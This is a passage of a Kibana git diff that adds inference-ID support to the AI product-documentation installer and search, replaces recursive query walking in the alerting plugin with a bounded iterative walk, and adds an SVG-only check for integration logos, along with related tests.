inferenceId?: string } = {}) { + const { inferenceId } = params; const allProducts = Object.values(DocumentationProduct); for (const productName of allProducts) { - await this.uninstallPackage({ productName }); + await this.uninstallPackage({ productName, inferenceId }); } } } diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/create_index.test.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/create_index.test.ts index 691aeffa40a5b..23593eb1fe335 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/create_index.test.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/create_index.test.ts @@ -11,7 +11,6 @@ import type { ElasticsearchClient } from '@kbn/core/server'; import { elasticsearchServiceMock } from '@kbn/core/server/mocks'; import { LATEST_MANIFEST_FORMAT_VERSION } from '@kbn/product-doc-common'; import { createIndex } from './create_index'; -import { internalElserInferenceId } from '../../../../common/consts'; const LEGACY_SEMANTIC_TEXT_VERSION = '1.0.0'; @@ -76,7 +75,7 @@ describe('createIndex', () => { }); }); - it('rewrites the inference_id attribute of semantic_text fields in the mapping', async () => { + it('does not override the inference_id attribute of semantic_text fields in the mapping', async () => { const mappings: MappingTypeMapping = { properties: { semantic: { @@ -99,17 +98,18 @@ describe('createIndex', () => { expect(esClient.indices.create).toHaveBeenCalledWith( expect.objectContaining({ + index: '.some-index', mappings: { properties: { - semantic: { - type: 'semantic_text', - inference_id: internalElserInferenceId, - }, - bool: { - type: 'boolean', - }, + bool: { type: 'boolean' }, + semantic: { inference_id: '.elser', type: 'semantic_text' }, }, }, + settings: { + auto_expand_replicas: '0-1', + 'index.mapping.semantic_text.use_legacy_format': true, + number_of_shards: 1, + }, }) ); }); diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/create_index.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/create_index.ts index 1e9423ae6c4fa..57892d73733f7 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/create_index.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/create_index.ts @@ -8,7 +8,7 @@ import type { Logger } from '@kbn/logging'; import type { ElasticsearchClient } from '@kbn/core/server'; import type { MappingTypeMapping, MappingProperty } from '@elastic/elasticsearch/lib/api/types'; -import { internalElserInferenceId } from '../../../../common/consts'; +import { isPopulatedObject } from '@kbn/ml-is-populated-object'; import { isLegacySemanticTextVersion } from '../utils'; export const createIndex = async ({ @@ -17,21 +17,17 @@ export const createIndex = async ({ manifestVersion, mappings, log, - elserInferenceId = internalElserInferenceId, }: { esClient: ElasticsearchClient; indexName: string; manifestVersion: string; mappings: MappingTypeMapping; log: Logger; - elserInferenceId?: string; }) => { log.debug(`Creating index ${indexName}`); const legacySemanticText = isLegacySemanticTextVersion(manifestVersion); - overrideInferenceId(mappings, elserInferenceId); - await esClient.indices.create({ index: indexName, mappings, @@ -43,13 +39,23 @@ export const createIndex = async ({ }); }; -const overrideInferenceId = (mappings: MappingTypeMapping, inferenceId: string) => { +export const overrideInferenceSettings = ( + mappings: MappingTypeMapping, + inferenceId: string, + modelSettingsToOverride?: object +) => { const recursiveOverride = (current: MappingTypeMapping | MappingProperty) => { - if ('type' in current && current.type === 'semantic_text') { + if (isPopulatedObject(current, ['type']) && current.type === 'semantic_text') { current.inference_id = inferenceId; + if (modelSettingsToOverride) { + // @ts-expect-error - model_settings is not typed, but exists for semantic_text field + current.model_settings = modelSettingsToOverride; + } } - if ('properties' in current && current.properties) { - for (const prop of Object.values(current.properties)) { + if (isPopulatedObject(current, ['properties'])) { + for (const prop of Object.values( + current.properties as Record + )) { recursiveOverride(prop); } } diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/populate_index.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/populate_index.ts index deeec80a11464..43a44a8b63cd6 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/populate_index.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/steps/populate_index.ts @@ -19,14 +19,14 @@ export const populateIndex = async ({ manifestVersion, archive, log, - elserInferenceId, + inferenceId = internalElserInferenceId, }: { esClient: ElasticsearchClient; indexName: string; manifestVersion: string; archive: ZipArchive; log: Logger; - elserInferenceId?: string; + inferenceId?: string; }) => { log.debug(`Starting populating index ${indexName}`); @@ -43,7 +43,7 @@ export const populateIndex = async ({ esClient, contentBuffer, legacySemanticText, - elserInferenceId, + inferenceId, }); } @@ -56,12 +56,14 @@ const indexContentFile = async ({ esClient, legacySemanticText, elserInferenceId = internalElserInferenceId, + inferenceId, }: { indexName: string; contentBuffer: Buffer; esClient: ElasticsearchClient; legacySemanticText: boolean; elserInferenceId?: string; + inferenceId?: string; }) => { const fileContent = contentBuffer.toString('utf-8'); const lines = fileContent.split('\n'); @@ -75,7 +77,7 @@ const indexContentFile = async ({ .map((doc) => rewriteInferenceId({ document: doc, - inferenceId: elserInferenceId, + inferenceId: inferenceId ?? elserInferenceId, legacySemanticText, }) ); diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/utils/ensure_default_elser_deployed.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/utils/ensure_default_elser_deployed.ts index 14219fb003f2c..3f7714b95f85e 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/utils/ensure_default_elser_deployed.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/utils/ensure_default_elser_deployed.ts @@ -8,12 +8,26 @@ import type { ElasticsearchClient } from '@kbn/core/server'; import { defaultInferenceEndpoints } from '@kbn/inference-common'; -export const ensureDefaultElserDeployed = async ({ client }: { client: ElasticsearchClient }) => { +export const ensureInferenceDeployed = async ({ + client, + inferenceId, +}: { + client: ElasticsearchClient; + inferenceId?: string; +}) => { + if (!inferenceId) return; await client.inference.inference( { - inference_id: defaultInferenceEndpoints.ELSER, + inference_id: inferenceId, input: 'I just want to call the API to force the model to download and allocate', }, { requestTimeout: 10 * 60 * 1000 } ); }; + +export const ensureDefaultElserDeployed = async ({ client }: { client: ElasticsearchClient }) => { + await ensureInferenceDeployed({ + client, + inferenceId: defaultInferenceEndpoints.ELSER, + }); +}; diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/utils/index.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/utils/index.ts index 78aa127e7ef18..a667e7890ee66 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/utils/index.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/utils/index.ts @@ -8,5 +8,8 @@ export { downloadToDisk } from './download'; export { openZipArchive, type ZipArchive } from './zip_archive'; export { loadManifestFile, loadMappingFile } from './archive_accessors'; -export { ensureDefaultElserDeployed } from './ensure_default_elser_deployed'; +export { + ensureDefaultElserDeployed, + ensureInferenceDeployed, +} from './ensure_default_elser_deployed'; export { isLegacySemanticTextVersion } from './manifest_versions'; diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/search_service.test.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/search_service.test.ts index 9f7056d20d820..e7aec863ed635 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/search_service.test.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/search_service.test.ts @@ -11,6 +11,7 @@ import { SearchService } from './search_service'; import { getIndicesForProductNames } from './utils'; import { performSearch } from './perform_search'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; jest.mock('./perform_search'); const performSearchMock = performSearch as jest.MockedFn; @@ -32,7 +33,7 @@ describe('SearchService', () => { }); describe('#search', () => { - it('calls `performSearch` with the right parameters', async () => { + it('calls `performSearch` with the right default parameters', async () => { await service.search({ query: 'What is Kibana?', products: ['kibana'], @@ -45,7 +46,62 @@ describe('SearchService', () => { searchQuery: 'What is Kibana?', size: 42, highlights: 3, - index: getIndicesForProductNames(['kibana']), + index: getIndicesForProductNames(['kibana'], undefined), + client: esClient, + }); + }); + it('calls `performSearch` with the right default index name for ELSER inference', async () => { + await service.search({ + query: 'What is Kibana?', + products: ['kibana'], + max: 42, + highlights: 3, + inferenceId: defaultInferenceEndpoints.ELSER, + }); + + expect(performSearchMock).toHaveBeenCalledTimes(1); + expect(performSearchMock).toHaveBeenCalledWith({ + searchQuery: 'What is Kibana?', + size: 42, + highlights: 3, + index: [`.kibana_ai_product_doc_kibana`], + client: esClient, + }); + }); + + it('calls `performSearch` with the right default index name for ELSER EIS inference ID', async () => { + await service.search({ + query: 'What is Kibana?', + products: ['kibana'], + max: 42, + highlights: 3, + inferenceId: defaultInferenceEndpoints.ELSER_IN_EIS_INFERENCE_ID, + }); + + expect(performSearchMock).toHaveBeenCalledTimes(1); + expect(performSearchMock).toHaveBeenCalledWith({ + searchQuery: 'What is Kibana?', + size: 42, + highlights: 3, + index: [`.kibana_ai_product_doc_kibana`], + client: esClient, + }); + }); + it('reroutes `performSearch` to multilingual index when inference ID is E5 small', async () => { + await service.search({ + query: 'What is Kibana?', + products: ['kibana'], + max: 42, + highlights: 3, + inferenceId: defaultInferenceEndpoints.MULTILINGUAL_E5_SMALL, + }); + + expect(performSearchMock).toHaveBeenCalledTimes(1); + expect(performSearchMock).toHaveBeenCalledWith({ + searchQuery: 'What is Kibana?', + size: 42, + highlights: 3, + index: [`.kibana_ai_product_doc_kibana-${defaultInferenceEndpoints.MULTILINGUAL_E5_SMALL}`], client: esClient, }); }); diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/search_service.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/search_service.ts index 5b354c0d95471..ad2ce22ccd1d4 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/search_service.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/search_service.ts @@ -21,13 +21,14 @@ export class SearchService { } async search(options: DocSearchOptions): Promise { - const { query, max = 3, highlights = 3, products } = options; - this.log.debug(`performing search - query=[${query}]`); + const { query, max = 3, highlights = 3, products, inferenceId } = options; + const index = getIndicesForProductNames(products, inferenceId); + this.log.debug(`performing search - query=[${query}] at index=[${index}] `); const results = await performSearch({ searchQuery: query, size: max, highlights, - index: getIndicesForProductNames(products), + index, client: this.esClient, }); diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/types.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/types.ts index 910201391543e..e960b58e177c9 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/types.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/types.ts @@ -19,6 +19,8 @@ export interface DocSearchOptions { highlights?: number; /** optional list of products to filter search */ products?: ProductName[]; + /** optional inference ID to filter search */ + inferenceId?: string; } /** diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/utils/get_indices_for_product_names.test.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/utils/get_indices_for_product_names.test.ts index 0293d086d4f13..3a02858bcd857 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/utils/get_indices_for_product_names.test.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/utils/get_indices_for_product_names.test.ts @@ -7,11 +7,12 @@ import { productDocIndexPattern, getProductDocIndexName } from '@kbn/product-doc-common'; import { getIndicesForProductNames } from './get_indices_for_product_names'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; describe('getIndicesForProductNames', () => { it('returns the index pattern when product names are not specified', () => { - expect(getIndicesForProductNames(undefined)).toEqual(productDocIndexPattern); - expect(getIndicesForProductNames([])).toEqual(productDocIndexPattern); + expect(getIndicesForProductNames(undefined, undefined)).toEqual(productDocIndexPattern); + expect(getIndicesForProductNames([], undefined)).toEqual(productDocIndexPattern); }); it('returns individual index names when product names are specified', () => { expect(getIndicesForProductNames(['kibana', 'elasticsearch'])).toEqual([ @@ -19,4 +20,31 @@ describe('getIndicesForProductNames', () => { getProductDocIndexName('elasticsearch'), ]); }); + it('returns individual index names when ELSER EIS is specified', () => { + expect(getIndicesForProductNames(['kibana', 'elasticsearch'], '.elser-2-elastic')).toEqual([ + getProductDocIndexName('kibana'), + getProductDocIndexName('elasticsearch'), + ]); + }); + it('returns individual index names when ELSER is specified', () => { + expect( + getIndicesForProductNames(['kibana', 'elasticsearch'], defaultInferenceEndpoints.ELSER) + ).toEqual([getProductDocIndexName('kibana'), getProductDocIndexName('elasticsearch')]); + }); + + it('returns the index pattern when inferenceId is specified', () => { + expect( + getIndicesForProductNames( + ['kibana', 'elasticsearch'], + defaultInferenceEndpoints.MULTILINGUAL_E5_SMALL + ) + ).toEqual([ + '.kibana_ai_product_doc_kibana-.multilingual-e5-small-elasticsearch', + '.kibana_ai_product_doc_elasticsearch-.multilingual-e5-small-elasticsearch', + ]); + expect(getIndicesForProductNames(['kibana', 'elasticsearch'], '.anyInferenceId')).toEqual([ + '.kibana_ai_product_doc_kibana-.anyInferenceId', + '.kibana_ai_product_doc_elasticsearch-.anyInferenceId', + ]); + }); }); diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/utils/get_indices_for_product_names.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/utils/get_indices_for_product_names.ts index e97ed9cea3611..98ffd1bb39d6d 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/utils/get_indices_for_product_names.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/search/utils/get_indices_for_product_names.ts @@ -12,10 +12,11 @@ import { } from '@kbn/product-doc-common'; export const getIndicesForProductNames = ( - productNames: ProductName[] | undefined + productNames: ProductName[] | undefined, + inferenceId?: string ): string | string[] => { if (!productNames || !productNames.length) { return productDocIndexPattern; } - return productNames.map(getProductDocIndexName); + return productNames.map((productName) => getProductDocIndexName(productName, inferenceId)); }; diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/ensure_up_to_date.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/ensure_up_to_date.ts index d971561914ff1..ba16d2403f290 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/ensure_up_to_date.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/ensure_up_to_date.ts @@ -10,11 +10,14 @@ import type { TaskManagerSetupContract, TaskManagerStartContract, } from '@kbn/task-manager-plugin/server'; +import { isImpliedDefaultElserInferenceId } from '@kbn/product-doc-common/src/is_default_inference_endpoint'; import type { InternalServices } from '../types'; import { isTaskCurrentlyRunningError } from './utils'; export const ENSURE_DOC_UP_TO_DATE_TASK_TYPE = 'ProductDocBase:EnsureUpToDate'; export const ENSURE_DOC_UP_TO_DATE_TASK_ID = 'ProductDocBase:EnsureUpToDate'; +export const ENSURE_DOC_UP_TO_DATE_TASK_ID_MULTILINGUAL = + 'ProductDocBase:EnsureUpToDateMultilingual'; export const registerEnsureUpToDateTaskDefinition = ({ getServices, @@ -31,8 +34,9 @@ export const registerEnsureUpToDateTaskDefinition = ({ createTaskRunner: (context) => { return { async run() { + const inferenceId = context.taskInstance?.params?.inferenceId; const { packageInstaller } = getServices(); - return packageInstaller.ensureUpToDate({}); + return packageInstaller.ensureUpToDate({ inferenceId }); }, }; }, @@ -44,27 +48,32 @@ export const registerEnsureUpToDateTaskDefinition = ({ export const scheduleEnsureUpToDateTask = async ({ taskManager, logger, + inferenceId, }: { taskManager: TaskManagerStartContract; logger: Logger; + inferenceId: string; }) => { + const taskId = isImpliedDefaultElserInferenceId(inferenceId) + ? ENSURE_DOC_UP_TO_DATE_TASK_ID + : ENSURE_DOC_UP_TO_DATE_TASK_ID_MULTILINGUAL; try { await taskManager.ensureScheduled({ - id: ENSURE_DOC_UP_TO_DATE_TASK_ID, + id: taskId, taskType: ENSURE_DOC_UP_TO_DATE_TASK_TYPE, - params: {}, + params: { inferenceId }, state: {}, scope: ['productDoc'], }); - await taskManager.runSoon(ENSURE_DOC_UP_TO_DATE_TASK_ID); + await taskManager.runSoon(taskId); - logger.info(`Task ${ENSURE_DOC_UP_TO_DATE_TASK_ID} scheduled to run soon`); + logger.info(`Task ${taskId} scheduled to run soon`); } catch (e) { if (!isTaskCurrentlyRunningError(e)) { throw e; } } - return ENSURE_DOC_UP_TO_DATE_TASK_ID; + return taskId; }; diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/index.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/index.ts index 0b5833055fd8b..c57dbccedb102 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/index.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/index.ts @@ -24,6 +24,14 @@ export const registerTaskDefinitions = ({ }; export { scheduleEnsureUpToDateTask, ENSURE_DOC_UP_TO_DATE_TASK_ID } from './ensure_up_to_date'; -export { scheduleInstallAllTask, INSTALL_ALL_TASK_ID } from './install_all'; -export { scheduleUninstallAllTask, UNINSTALL_ALL_TASK_ID } from './uninstall_all'; +export { + scheduleInstallAllTask, + INSTALL_ALL_TASK_ID, + INSTALL_ALL_TASK_ID_MULTILINGUAL, +} from './install_all'; +export { + scheduleUninstallAllTask, + UNINSTALL_ALL_TASK_ID, + UNINSTALL_ALL_TASK_ID_MULTILINGUAL, +} from './uninstall_all'; export { waitUntilTaskCompleted, getTaskStatus } from './utils'; diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/install_all.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/install_all.ts index 0d2cc48fb06bb..8d6fd98335f8e 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/install_all.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/install_all.ts @@ -10,11 +10,13 @@ import type { TaskManagerSetupContract, TaskManagerStartContract, } from '@kbn/task-manager-plugin/server'; +import { isImpliedDefaultElserInferenceId } from '@kbn/product-doc-common/src/is_default_inference_endpoint'; import type { InternalServices } from '../types'; import { isTaskCurrentlyRunningError } from './utils'; export const INSTALL_ALL_TASK_TYPE = 'ProductDocBase:InstallAll'; export const INSTALL_ALL_TASK_ID = 'ProductDocBase:InstallAll'; +export const INSTALL_ALL_TASK_ID_MULTILINGUAL = 'ProductDocBase:InstallAllMultilingual'; export const registerInstallAllTaskDefinition = ({ getServices, @@ -25,14 +27,15 @@ export const registerInstallAllTaskDefinition = ({ }) => { taskManager.registerTaskDefinitions({ [INSTALL_ALL_TASK_TYPE]: { - title: 'Install all product documentation artifacts', + title: `Install all product documentation artifacts ${INSTALL_ALL_TASK_TYPE}`, timeout: '10m', maxAttempts: 3, createTaskRunner: (context) => { + const inferenceId = context.taskInstance?.params?.inferenceId; return { async run() { const { packageInstaller } = getServices(); - return packageInstaller.installAll({}); + return packageInstaller.installAll({ inferenceId }); }, }; }, @@ -44,27 +47,32 @@ export const registerInstallAllTaskDefinition = ({ export const scheduleInstallAllTask = async ({ taskManager, logger, + inferenceId, }: { taskManager: TaskManagerStartContract; logger: Logger; + inferenceId: string; }) => { + const taskId = isImpliedDefaultElserInferenceId(inferenceId) + ? INSTALL_ALL_TASK_ID + : INSTALL_ALL_TASK_ID_MULTILINGUAL; try { await taskManager.ensureScheduled({ - id: INSTALL_ALL_TASK_ID, + id: taskId, taskType: INSTALL_ALL_TASK_TYPE, - params: {}, + params: { inferenceId }, state: {}, scope: ['productDoc'], }); - await taskManager.runSoon(INSTALL_ALL_TASK_ID); + await taskManager.runSoon(taskId); - logger.info(`Task ${INSTALL_ALL_TASK_ID} scheduled to run soon`); + logger.info(`Task ${taskId} scheduled to run soon`); } catch (e) { if (!isTaskCurrentlyRunningError(e)) { throw e; } } - return INSTALL_ALL_TASK_ID; + return taskId; }; diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/uninstall_all.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/uninstall_all.ts index 6a88fec205ddd..25cf01fc66b9f 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/uninstall_all.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/tasks/uninstall_all.ts @@ -10,11 +10,13 @@ import type { TaskManagerSetupContract, TaskManagerStartContract, } from '@kbn/task-manager-plugin/server'; +import { isImpliedDefaultElserInferenceId } from '@kbn/product-doc-common/src/is_default_inference_endpoint'; import type { InternalServices } from '../types'; import { isTaskCurrentlyRunningError } from './utils'; export const UNINSTALL_ALL_TASK_TYPE = 'ProductDocBase:UninstallAll'; export const UNINSTALL_ALL_TASK_ID = 'ProductDocBase:UninstallAll'; +export const UNINSTALL_ALL_TASK_ID_MULTILINGUAL = 'ProductDocBase:UninstallAllMultilingual'; export const registerUninstallAllTaskDefinition = ({ getServices, @@ -25,14 +27,16 @@ export const registerUninstallAllTaskDefinition = ({ }) => { taskManager.registerTaskDefinitions({ [UNINSTALL_ALL_TASK_TYPE]: { - title: 'Uninstall all product documentation artifacts', + title: `Uninstall all product documentation artifacts ${UNINSTALL_ALL_TASK_TYPE}`, timeout: '10m', maxAttempts: 3, createTaskRunner: (context) => { return { async run() { const { packageInstaller } = getServices(); - return packageInstaller.uninstallAll(); + return packageInstaller.uninstallAll({ + inferenceId: context.taskInstance?.params?.inferenceId, + }); }, }; }, @@ -44,27 +48,35 @@ export const registerUninstallAllTaskDefinition = ({ export const scheduleUninstallAllTask = async ({ taskManager, logger, + inferenceId, }: { taskManager: TaskManagerStartContract; logger: Logger; + inferenceId: string; }) => { + // To avoid conflicts between the default ELSER model and small E5 inference IDs running at the same time, + // we use different task IDs for each inference ID. + const taskId = isImpliedDefaultElserInferenceId(inferenceId) + ? UNINSTALL_ALL_TASK_ID + : UNINSTALL_ALL_TASK_ID_MULTILINGUAL; + try { await taskManager.ensureScheduled({ - id: UNINSTALL_ALL_TASK_ID, + id: taskId, taskType: UNINSTALL_ALL_TASK_TYPE, - params: {}, + params: { inferenceId }, state: {}, scope: ['productDoc'], }); - await taskManager.runSoon(UNINSTALL_ALL_TASK_ID); + await taskManager.runSoon(taskId); - logger.info(`Task ${UNINSTALL_ALL_TASK_ID} scheduled to run soon`); + logger.info(`Task ${taskId} scheduled to run soon`); } catch (e) { if (!isTaskCurrentlyRunningError(e)) { throw e; } } - return UNINSTALL_ALL_TASK_ID; + return taskId; }; diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/tsconfig.json b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/tsconfig.json index 3b6c5d6cf88a9..51dda22279ea1 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/tsconfig.json +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/tsconfig.json @@ -27,5 +27,7 @@ "@kbn/task-manager-plugin", "@kbn/inference-common", "@kbn/core-security-server", + "@kbn/ml-is-populated-object", + "@kbn/i18n" ] } diff --git a/x-pack/platform/plugins/shared/alerting/public/pages/maintenance_windows/components/create_maintenance_windows_form.tsx b/x-pack/platform/plugins/shared/alerting/public/pages/maintenance_windows/components/create_maintenance_windows_form.tsx index 2670993aa2e2b..fc1ddfb52f81d 100644 --- a/x-pack/platform/plugins/shared/alerting/public/pages/maintenance_windows/components/create_maintenance_windows_form.tsx +++ b/x-pack/platform/plugins/shared/alerting/public/pages/maintenance_windows/components/create_maintenance_windows_form.tsx @@ -168,7 +168,7 @@ export const CreateMaintenanceWindowForm = React.memo ({ + MAX_QUERIES: 25, +})); + const getQuery = (query?: string) => { return { bool: { @@ -55,6 +59,7 @@ const getQuery = (query?: string) => { }, }; }; + describe('injectAnalyzeWildcard', () => { test('should inject analyze_wildcard field', () => { const query = getQuery(); @@ -166,4 +171,61 @@ describe('injectAnalyzeWildcard', () => { } `); }); + + test('should throw error if the query is too deeply nested', async () => { + const mockedQuery = { + bool: { + must: [], + filter: [ + { + bool: { + filter: [ + { + bool: { + filter: [ + { + bool: { + should: [ + { + query_string: { + fields: ['kibana.alert.instance.id'], + query: '*elastic*', + }, + }, + ], + minimum_should_match: 1, + }, + }, + { + bool: { + should: [ + { + match: { + 'kibana.alert.action_group': 'test', + }, + }, + ], + minimum_should_match: 1, + }, + }, + ], + }, + }, + ], + }, + }, + ], + should: [], + must_not: [ + { + match_phrase: { + _id: 'assdasdasd', + }, + }, + ], + }, + }; + + expect(() => injectAnalyzeWildcard(mockedQuery)).toThrow('Query is too deeply nested'); + }); }); diff --git a/x-pack/platform/plugins/shared/alerting/server/alerts_client/lib/inject_analyze_wildcard.ts b/x-pack/platform/plugins/shared/alerting/server/alerts_client/lib/inject_analyze_wildcard.ts index 46ccbf2b17942..7575071958079 100644 --- a/x-pack/platform/plugins/shared/alerting/server/alerts_client/lib/inject_analyze_wildcard.ts +++ b/x-pack/platform/plugins/shared/alerting/server/alerts_client/lib/inject_analyze_wildcard.ts @@ -6,25 +6,37 @@ */ import type { QueryDslQueryContainer } from '@elastic/elasticsearch/lib/api/types'; +import { MAX_QUERIES } from './constants'; export const injectAnalyzeWildcard = (query: QueryDslQueryContainer): void => { if (!query) { return; } - if (Array.isArray(query)) { - return query.forEach((child) => injectAnalyzeWildcard(child)); - } + let queriesCount = 0; + const stack: QueryDslQueryContainer[] = [query]; - if (typeof query === 'object') { - Object.entries(query).forEach(([key, value]) => { - if (key !== 'query_string') { - return injectAnalyzeWildcard(value); - } + while (stack.length > 0) { + queriesCount = queriesCount + 1; + + if (queriesCount > MAX_QUERIES) { + throw new Error('Query is too deeply nested'); + } - if (typeof value.query === 'string' && value.query.includes('*')) { - value.analyze_wildcard = true; + const current = stack.pop(); + + if (Array.isArray(current)) { + for (const child of current) { + stack.push(child); + } + } else if (typeof current === 'object' && current !== null) { + for (const [key, value] of Object.entries(current)) { + if (key !== 'query_string') { + stack.push(value); + } else if (typeof value.query === 'string' && value.query.includes('*')) { + value.analyze_wildcard = true; + } } - }); + } } }; diff --git a/x-pack/platform/plugins/shared/alerting/server/task_runner/task_runner_alerts_client.test.ts b/x-pack/platform/plugins/shared/alerting/server/task_runner/task_runner_alerts_client.test.ts index 13c974bd89c62..1722627f019e0 100644 --- a/x-pack/platform/plugins/shared/alerting/server/task_runner/task_runner_alerts_client.test.ts +++ b/x-pack/platform/plugins/shared/alerting/server/task_runner/task_runner_alerts_client.test.ts @@ -5,7 +5,6 @@ * 2.0. */ -import sinon from 'sinon'; import { usageCountersServiceMock } from '@kbn/usage-collection-plugin/server/usage_counters/usage_counters_service.mock'; import type { RuleExecutorOptions, @@ -128,7 +127,6 @@ jest.mock('../lib/alerting_event_logger/alerting_event_logger'); jest.mock('../rules_client/lib/get_alert_from_raw'); const mockGetAlertFromRaw = getAlertFromRaw as jest.MockedFunction; -let fakeTimer: sinon.SinonFakeTimers; const logger: ReturnType = loggingSystemMock.createLogger(); const taskRunnerLogger = createTaskRunnerLogger({ logger, tags: ['1', 'test'] }); @@ -165,11 +163,12 @@ describe('Task Runner', () => { let mockedTaskInstance: ConcreteTaskInstance; beforeAll(() => { - fakeTimer = sinon.useFakeTimers(); + jest.useFakeTimers(); + jest.setSystemTime(new Date(DATE_1970)); mockedTaskInstance = mockTaskInstance(); }); - afterAll(() => fakeTimer.restore()); + afterAll(() => jest.useRealTimers()); const encryptedSavedObjectsClient = encryptedSavedObjectsMock.createClient(); const internalSavedObjectsRepository = savedObjectsRepositoryMock.create(); diff --git a/x-pack/platform/plugins/shared/automatic_import/public/components/create_integration/create_automatic_import/steps/integration_step/integration_step.tsx b/x-pack/platform/plugins/shared/automatic_import/public/components/create_integration/create_automatic_import/steps/integration_step/integration_step.tsx index 928f4db5f065f..f95c66af3e097 100644 --- a/x-pack/platform/plugins/shared/automatic_import/public/components/create_integration/create_automatic_import/steps/integration_step/integration_step.tsx +++ b/x-pack/platform/plugins/shared/automatic_import/public/components/create_integration/create_automatic_import/steps/integration_step/integration_step.tsx @@ -77,6 +77,11 @@ export const IntegrationStep = React.memo(({ integrationSe setLogoError(`${logoFile.name} is too large, maximum size is 1Mb.`); return; } + // make sure the logo is a svg type in the case of drag and drop + if (!logoFile.name.endsWith('.svg') || !logoFile.type.startsWith('image/svg+xml')) { + setLogoError(i18n.NON_SVG_ERROR); + return; + } logoFile .arrayBuffer() .then((fileBuffer) => { diff --git a/x-pack/platform/plugins/shared/automatic_import/public/components/create_integration/create_automatic_import/steps/integration_step/translations.ts b/x-pack/platform/plugins/shared/automatic_import/public/components/create_integration/create_automatic_import/steps/integration_step/translations.ts index 4067b45110f10..40a796c0e8cf5 100644 --- a/x-pack/platform/plugins/shared/automatic_import/public/components/create_integration/create_automatic_import/steps/integration_step/translations.ts +++ b/x-pack/platform/plugins/shared/automatic_import/public/components/create_integration/create_automatic_import/steps/integration_step/translations.ts @@ -51,3 +51,10 @@ export const PREVIEW_TOOLTIP = i18n.translate( export const LOGO_ERROR = i18n.translate('xpack.automaticImport.step.integration.logo.error', { defaultMessage: 'Error processing logo file', }); + +export const NON_SVG_ERROR = i18n.translate( + 'xpack.automaticImport.step.integration.logo.nonSvgError', + { + defaultMessage: 'Only SVG files are allowed', + } +); diff --git 